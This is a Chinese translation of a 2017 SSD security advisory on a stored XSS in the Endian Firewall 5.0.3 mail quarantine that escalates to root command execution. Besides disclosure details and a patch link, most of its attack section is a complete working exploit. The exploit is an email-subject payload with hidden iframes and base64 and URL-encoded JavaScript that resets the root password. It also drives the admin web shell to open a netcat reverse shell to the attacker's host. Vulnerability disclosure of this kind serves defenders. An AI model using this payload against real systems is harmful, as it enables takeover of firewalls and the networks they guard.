SSD安全公告-Endian防火墙从存储型XSS到远程命令执行
Credit to Author: SSD / Maor Schwartz| Date: Mon, 11 Dec 2017 09:17:06 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
漏洞概要
以下安全公告描述了在Endian防火墙5.0.3版本中存在的一个存储型XSS漏洞,成功利用该漏洞可造成远程代码执行。
Endian防火墙是一个“专注Linux安全的发行版本,,它是一个独立的,统一的安全管理操作系统。 Endian防火墙基于强化的Linux操作系统。”
漏洞提交者
一位独立的安全研究者向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
厂商已经发布针对该漏洞的补丁。获取更多信息: https://help.endian.com/hc/en-us/articles/115012996087
漏洞详细信息
Endian防火墙是基于Linux的防火墙/网关。
它使用不同的颜色来标记其trusted,untrusted 和DMZ网络:
- 绿色 – trusted网络
- 红色 – untrusted 网络
- 橙色 – DMZ
- 蓝色 – WiFi
用户可控的输入没有经过充分过滤,通过从untrusted 网络(红色)发送电子邮件到DMZ上的邮件服务器(橙色),Endian防火墙会把来自untrusted 网络的电子邮件隔离。
当来自trusted网络(绿色)的用户登录到Endian Firewall WebAdmin并检查隔离区中的电子邮件(Services > Mail Quarantine > quarantine)时,会执行存储型XSS脚本。
漏洞证明
配置环境
- 安装Endian防火墙虚拟机并设置防火墙网络接口为以下IP:
- 绿色 – 192.168.0.190
- 红色 – 192.168.0.192
- 设置以下密码:
- Web管理员(admin/Password1)
- SSH管理员(root/Password1)
- 连接Webadmin接口,添加ORANGE网络并更改GREEN IP。最后的环境应该是这样的:
- 防火墙界面GREEN – 192.168.10.190
- 防火墙接口ORANGE – 192.168.20.190
- 防火墙接口RED – 192.168.0.192
- 现在我们添加以下机器到新的接口:
- 部署VM并将其IP设置为192.168.10.191(GREEN) – 用于连接到Endian WebAdmin
- 部署VM并将其IP设置为192.168.20.191(ORANGE) – 用作邮件服务器
- 部署虚拟机并将其IP设置为192.168.0.12(RED) – 用于触发此漏洞(通过发送恶意邮件)并接受反连shell
接下来是按照Endian指令配置SMTP代理
http://help.endian.com/hc/it/articles/218144808-Mail-Proxy-Basic-Setup
- “Incoming domain”==”test.it”
- SMTP Proxy>Advanced,你必须取消选中”Recipient address verification”
演示
在红色PC(192.168.0.12)上监听25端口 (”netcat nc 192.168.0.12 25”)并发送以下电子邮件(使用telnet):
从绿色PC,连接到WebAdmin,并转到Services > Mail Quarantine > quarantine,会看到HTML代码被执行。
完整的漏洞证明
现在我们要想要获得root权限:
- 更改系统的root密码(System>Status> SSH Password)
- 通过Web Shell控制台(System> Web Consolle),使用root的新密码访问系统shell
- 通过在操作系统上执行一个root命令,获取远程Red PC的shell访问
- 我们也可以检查SSH是否被禁用,如果被禁用,可以启用它
所有内容都可以合并到一个subject中,但是我们必须考虑RFC 2822第2.1.1节中关于电子邮件”subject:”的规范:“每行不能超过998个字符”。
所以每998个字符后,Endian SMTP代理服务插入一个换行符。 这意味着我们的subject(AKA攻击脚本)可以超过998个字符,但是如果我们发送的JavaScript命令超过998个字符,那么脚本将被截断,导致攻击失败。
例1
1 2 3 | ......998………….. <—— BAD, in Endian WebAdmin this will be converted in .......|............... alert(‘d alert(‘demo‘); emo’); ——> Script not working |
例2
1 2 3 | ......998………….. <—— GOOD, in Endian WebAdmin this will be converted in .......|............... ;;;;;;;; ;;;;;;;;;alert(‘demo’); ;alert(‘demo’); ——> Script working |
这就是为什么在攻击脚本中你会看到一组分号:它们是作为空操作(NOP)使用的。
注1:使用netcat或telnet发送的所有东西都必须在一行中(不管Endian如何对待它)
注2:我们使用两种基本的编码器来避免某些字符。
在第一部分,我们看到一个Base64编码,除非你想自定义密码,否则不需要修改它。
在最后一部分,我们看到使用URL编码名为”paystr”的JavaScript变量。
它的值 – %6E%63%20%31%30%2E%38%2E%30%2E%36%20%35%33%20%7C%20%2F%62%69%6E%2F%62 %61%73%68%20%7C%20%6E%63%20%31%30%2E%38%2E%30%2E%36%20%38%30’等于:
1 | ‘nc 192.168.0.12 53 | /bin/bash | nc 192.168.0.12 80’ |
如果你要执行不同的操作系统命令,则需要对其进行修改
注3:在攻击脚本尾部时,会看到一段很长的分号字符串,然后接着的是经编码后发送到系统的payload(var paystr)。 如果要发送的命令更长或者更短,那么以分号填充,但记得至少保留3个分号。
1 2 3 4 5 | %00%00%00%00%00%00%00%00%00‘;;;;;;;;;;;;;;;;;;;;;;; < —— Original %00%00%00%00%00%00%00%00%00%00%00‘;;;;;;;;;;;;;;;;; <—— More Payload %00%00%00%00%00%00%00‘;;;;;;;;;;;;;;;;;;;;;;;;;;;;; <—— Less Payload |
下面的payload将root密码更改为”peruperu”,并向192.168.0.12上启动的两个监听器(netcat)发起连接请求。
我们使用TCP端口53和80,因为默认情况下,Endian通过这两个端口传递信息。
在Red PC上启动2个监听器(nc -lvp 80和nc -lvp 53),连接到邮件服务器(nc 192.168.0.12 25),按照PoC的步骤发送电子邮件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | subject:Pe<iframe id=“peru” name=“peru” style=“width:0; height:0; border:0; border:none; visibility:0”></iframe><iframe id=“xu” onload=“res = atob(‘PGlmcmFtZSBpZD0neHUxJyBvbmxvYWQ9InZhciB1cmwgPSB3aW5kb3cubG9jYXRpb24uaHJlZjt2YXIgYXJyID0gdXJsLnNwbGl0KCcvJy k7dmFyIElQViA9IGFyclswXSArICcvLycgKyBhcnJbMl07ZnVuY3Rpb24gcG9zdHdpdGggKHRvLHApe3ZhciBteUZvcm0gPSBkb2N1bWVudC5jcm VhdGVFbGVtZW50KCdmb3JtJyk7bXlGb3JtLm1ldGhvZD0ncG9zdCc7bXlGb3JtLmFjdGlvbiA9IHRvO2ZvciAodmFyIGsgaW4gcCl7dmFyIG15SW 5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpO215SW5wdXQuc2V0QXR0cmlidXRlKCduYW1lJywgayk7bXlJbnB1dC5zZXRBdH RyaWJ1dGUoJ3ZhbHVlJywgcFtrXSk7bXlGb3JtLmFwcGVuZENoaWxkKG15SW5wdXQpO31kb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKG15Rm9ybS k7bXlGb3JtLnN1Ym1pdCgpO2RvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQobXlGb3JtKTt9O3Bvc3R3aXRoKElQVisnL2NnaS1iaW4vY2hhbmdlcH cuY2dpJyx7J0FDVElPTl9ST09UJzonc2F2ZScsJ1JPT1RfUEFTU1dPUkQxJzoncGVydXBlcnUnLCdST09UX1BBU1NXT1JEMic6J3BlcnVwZXJ1Jy wnc3VibWknOidDaGFuZ2UrUGFzc3dvcmQnfSk7Ij48L2lmcmFtZT4=’);;;;;;;;;;;;;;;;;; document.getElementById(‘peru’).contentWindow.document.write(res); document.getElementById(‘peru’).contentWindow.document.close();” style=“width:0; height:0; border:0; border:none; visibility:0″></iframe><iframe id=“1” style=“width:0; height:0; border:0; border:none; visibility:0” onload=“var url = window.location.href;var arr = url.split(‘/’);var IPV = arr[0] + ‘//’ + arr[2];var add = ‘/manage/webshell/u?s=222&w=100&h=24&k=’;var end = ‘%0D&l=2’;function login() {var login = document.createElement(‘iframe’);login.setAttribute(‘src’, IPV+add+’login’+end); login.setAttribute(‘style’, ‘width:0; height:0; border:0; border:none; visibility:0′);document.body.appendChild(login);}setTimeout(login, 1000);”></iframe><iframe id=“2” style=“width:0; height:0; border:0; border:none; visibility:0” onload=“var url = window.location.href;var arr = url.split(‘/’);var IPV = arr[0] + ‘//’ + arr[2]; var add = ‘/manage/webshell/u?s=222&w=100&h=24&k=’;var end = ‘%0D&l=2&_=1504015893518’;;;;;;;;;;;;;;;;;;;;;;;function passwd22() {var t = 1;var passwd = document.createElement(‘iframe’);passwd.setAttribute(‘src’, IPV+add+’peruperu’+end);passwd.setAttribute(‘style’, ‘width:0; height:0; border:0; border:none; visibility:0’); document.body.appendChild(passwd);}setTimeout(passwd22, 3000);”></iframe><iframe id=“3” style=“ width:0; height:0; border:0; border:none; visibility:0″ onload=“var url = window.location.href;var arr = url.split(‘/’);var IPV = arr[0] + ‘//’ + arr[2];var add = ‘/manage/webshell/u?s=222&w=100&h=24&k=’; var end = ‘%0D&l=2&_=1504014893519’;var paystr= ‘%6E%63%20%31%39%32%2E%31%36%38%2E%30%2E%31%32%20%35%33%20%7C%20%2F%62%69%6E%2F%62%61%73%68%20%7C%20%6E%63%20%31 %39%32%2E%31%36%38%2E%30%2E%31%32%20%38%30‘;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; function payload() {var payload = document.createElement(‘iframe’);payload.setAttribute(‘src’, IPV+add+paystr+end); payload.setAttribute(‘style’, ‘width:0; height:0; border:0; border:none; visibility:0’); document.body.appendChild(payload);}setTimeout(payload, 5000);”></iframe>rU |